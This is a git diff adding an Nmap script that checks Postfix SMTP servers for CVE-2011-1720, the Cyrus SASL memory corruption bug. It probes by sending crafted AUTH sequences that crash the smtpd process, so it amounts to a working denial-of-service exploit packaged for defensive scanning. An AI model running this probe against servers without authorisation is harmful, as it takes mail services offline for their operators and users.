diff --git a/scripts/script.db b/scripts/script.db index d45548d14..470c8f92a 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -160,6 +160,7 @@ Entry { filename = "smb-security-mode.nse", categories = { "discovery", "safe", Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smbv2-enabled.nse", categories = { "default", "safe", } } +Entry { filename = "smtp-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } Entry { filename = "smtp-commands.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "smtp-enum-users.nse", categories = { "discovery", "external", "intrusive", } } Entry { filename = "smtp-open-relay.nse", categories = { "discovery", "external", "intrusive", } } diff --git a/scripts/smtp-check-vulns.nse b/scripts/smtp-check-vulns.nse new file mode 100644 index 000000000..ecfc8476b --- /dev/null +++ b/scripts/smtp-check-vulns.nse @@ -0,0 +1,381 @@ +description = [[ +Checks for SMTP, SMTPS and Submission vulnerabilities: + +* Memory corruption in Postfix SMTP server Cyrus SASL support + (CVE-2011-1720) + http://www.postfix.org/CVE-2011-1720.html +]] + +--- +-- @usage +-- nmap --script=smtp-check-vulns --script-args='smtp.domain=' -pT:25,465,587 +-- +-- @output +-- PORT STATE SERVICE +-- 25/tcp open smtp +-- | smtp-check-vulns: +-- | Postfix Cyrus SASL (CVE-2011-1720): +-- | AUTH MECHANISMS: CRAM-MD5 DIGEST-MD5 NTLM PLAIN LOGIN +-- | AUTH tests: CRAM-MD5 +-- |_ Postfix Cyrus SASL authentication: VULNERABLE (CRAM-MD5 => DIGEST-MD5) +-- +-- @args +-- smtp.domain Define the domain to be used in the SMTP EHLO command. + +author = "Djalal Harouni" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"dos", "exploit", "intrusive", "vuln"} + +require "shortport" +require "stdnse" + +portrule = shortport.port_or_service({25, 465, 587}, + {"smtp", "smtps", "submission"}) + +local ERROR_MESSAGES = { + ["EOF"] = "connection closed", + ["TIMEOUT"] = "connection timeout", + ["ERROR"] = "failed to receive data" +} + +local SMTP_CMD = { + ["EHLO"] = { + cmd = "EHLO", + success = { + [250] = "Requested mail action okay, completed", + }, + errors = { + [421] = " Service not available, closing transmission channel", + [500] = "Syntax error, command unrecognised", + [501] = "Syntax error in parameters or arguments", + [504] = "Command parameter not implemented", + [550] = "Not implemented", + }, + }, + ["AUTH"] = { + cmd = "AUTH", + success = {[334] = ""}, + errors = { + [501] = "Authentication aborted", + } + }, + ["STARTTLS"] = { + cmd = "STARTTLS", + success = { + [220] = "Ready to start TLS" + }, + errors = { + [501] = "Syntax error (no parameters allowed)", + [454] = "TLS not available due to temporary reason", + } + } +} + + +-- Get a domain to be used in the SMTP commands that need it. If the +-- user specified one through a script argument this function will return +-- it. Otherwise it will try to find the domain from the typed hostname +-- and from the rDNS name. If it still can't find one it will use the +-- nmap.scanme.org by default. +-- +-- @param host Current scanned host +-- @return The hostname to be used +function get_domain(host) + local nmap_domain = "nmap.scanme.org" + + -- Use the user provided options. + local result = stdnse.get_script_args("smtp.domain") or + stdnse.get_script_args("smtp-check-vulns.domain") + + if not result then + if type(host) == "table" then + if host.targetname then + result = host.targetname + elseif (host.name ~= "" and host.name) then + result = host.name + end + end + end + + return result or nmap_domain +end + +local function smtp_finish(socket, status, msg) + if socket then + socket:send("QUIT\r\n") + socket:close() + end + return status, msg +end + +function smtp_send(socket, request) + local status, response = socket:send(request) + if not status then + return status, string.format("failed to send request: %s", + request) + end + + return true, response +end + +function smtp_request(socket, cmd, data) + local packet = cmd + if data then + packet = cmd.." "..data + end + local status, ret = smtp_send(socket, packet) + if not status then + return smtp_finish(nil, status, ret) + end + + status, ret = socket:receive_lines(1) + if not status then + return smtp_finish(nil, status, + (ERROR_MESSAGES[ret] or "unspecified error")) + end + + return status, ret +end + +function check_smtp_reply(cmd, response) + local code, msg = string.match(response, "^([0-9]+)%s*") + if code then + code = tonumber(code) + if SMTP_CMD[cmd] and SMTP_CMD[cmd].success[code] then + return true, SMTP_CMD[cmd].success[code] + end + end + return false, string.format("%s failed: %s", cmd, response) +end + +-- Checks if the SMTP server is vulnerable to CVE-2011-1720 +-- Postfix Cyrus SASL authentication memory corruption +-- http://www.postfix.org/CVE-2011-1720.html +function check_cve_2011_1720(smtp) + local postfix_vuln = "Postfix Cyrus SASL authentication" + + local AUTH_VULN = { + -- AUTH MECHANISM + -- killby: a table of mechanisms that can corrupt and + -- overwrite the AUTH MECHANISM data structure. + -- probe: max number of probes for each test + ["CRAM-MD5"] = { + killby = {["DIGEST-MD5"] = {probe = 1}} + }, + ["DIGEST-MD5"] = { + killby = {} + }, + ["EXTERNAL"] = { + killby = {} + }, + ["GSSAPI"] = { + killby = {} + }, + ["KERBEROS_V4"] = { + killby = {} + }, + ["NTLM"] = { + killby = {["DIGEST-MD5"] = {probe = 2}} + }, + ["OTP"] = { + killby = {} + }, + ["PASSDSS-3DES-1"] = { + killby = {} + }, + ["SRP"] = { + killby = {} + }, + } + + local socket = nmap.new_socket() + local status, ret = socket:connect(smtp.host, smtp.port, "tcp") + + if not status then + return false, "Couldn't connect to remote host" + end + + local i, response = 0, nil + -- just a small loop + repeat + status, response = socket:receive_lines(1) + i = i + 1 + until response or i == 3 + + if not status then + return smtp_finish(nil, status, + (ERROR_MESSAGES[response] or "unspecified error")) + end + + status, response = smtp_request(socket, "EHLO", + string.format("%s\r\n",smtp.domain)) + if not status then + return status, response + end + + status, ret = check_smtp_reply("EHLO", response) + if not status then + return smtp_finish(socket, status, ret) + end + + local starttls = false + local function chk_starttls(line) + return line:match("STARTTLS") + end + + local auth_mech_list, auth_mech_str, chk_vuln = {}, "", false + -- parse and check the authentication mechanisms + local function chk_auth_mechanisms(line) + local authstr = line:match("%d+\-AUTH%s(.*)$") + if authstr then + auth_mech_str = authstr + for mech in authstr:gmatch("[^%s]+") do + if AUTH_VULN[mech] then + auth_mech_list[mech] = mech + if not chk_vuln then + chk_vuln = true + end + end + end + end + end + + -- parse server response + for _, line in pairs(stdnse.strsplit("\r?\n", response)) do + if not next(auth_mech_list) then + chk_auth_mechanisms(line) + end + + if not starttls then + starttls = chk_starttls(line) + end + end + + -- fallback to STARTTLS to get the auth mechanisms + if not next(auth_mech_list) and smtp.port.number ~= 25 and + starttls then + status, response = smtp_request(socket,"STARTTLS\r\n") + if not status then + return status, response + end + + status, ret = check_smtp_reply("STARTTLS", response) + if not status then + return smtp_finish(socket, status, ret) + end + + status, ret = socket:reconnect_ssl() + if not status then + return smtp_finish(nil, status, ret) + end + + status, response = smtp_request(socket, "EHLO", + string.format("%s\r\n",smtp.domain)) + if not status then + return status, response + end + + status, ret = check_smtp_reply("EHLO", response) + if not status then + return smtp_finish(socket, status, ret) + end + + for _, line in pairs(stdnse.strsplit("\r?\n", response)) do + if not next(auth_mech_list) then + chk_auth_mechanisms(line) + end + end + end + + local output = {} + output.name = "Postfix Cyrus SASL (CVE-2011-1720):" + if (#auth_mech_str > 0) then + table.insert(output, string.format("AUTH MECHANISMS: %s", auth_mech_str)) + + -- maybe vulnerable + if next(auth_mech_list) and chk_vuln then + + -- Kill the Postfix smtpd + -- Returns true, true if the smtpd was killed + local function kill_smtpd(socket, mech, mkill) + local killed = false + status, response = smtp_request(socket, "AUTH", + string.format("%s\r\n", mech)) + if not status then + return status, ret + end + + status, ret = check_smtp_reply("AUTH", response) + if not status then + return smtp_finish(socket, status, ret) + end + + -- abort authentication + smtp_request(socket, "*\r\n") + + status, response = smtp_request(socket, "AUTH", + string.format("%s\r\n", mkill)) + if not status then + if response ~= ERROR_MESSAGES["EOF"] then + return status, ret + else + killed = true + end + else + -- if not killed then abort the last authentication + smtp_request(socket, "*\r\n") + end + return true, killed + end + + local auth_tests = "" + for mech in pairs(auth_mech_list) do + for mkill in pairs(AUTH_VULN[mech].killby) do + + if auth_mech_list[mkill] then + auth_tests = auth_tests.." "..mech + + local probe = AUTH_VULN[mech].killby[mkill].probe + + for p = 1, probe do + status, ret = kill_smtpd(socket, mech, mkill) + if not status then + return smtp_finish(nil, status, ret) + end + + if ret then + table.insert(output, + string.format("AUTH tests:%s", auth_tests)) + table.insert(output, + string.format("%s: VULNERABLE (%s => %s)", + postfix_vuln, mech, mkill)) + return smtp_finish(nil, true, output) + end + + end + + end + + end + end + + table.insert(output, string.format("AUTH tests:%s", auth_tests)) + end + else + table.insert(output, "Authentication is not available") + end + + table.insert(output, string.format("%s: NOT VULNERABLE", postfix_vuln)) + return smtp_finish(socket, true, output) +end + +action = function(host, port) + local smtp_opts = { host = host, port = port } + smtp_opts.domain = get_domain(host) + local status, output = check_cve_2011_1720(smtp_opts) + if not status then + stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, output) + return nil + end + return stdnse.format_output(status, output) +end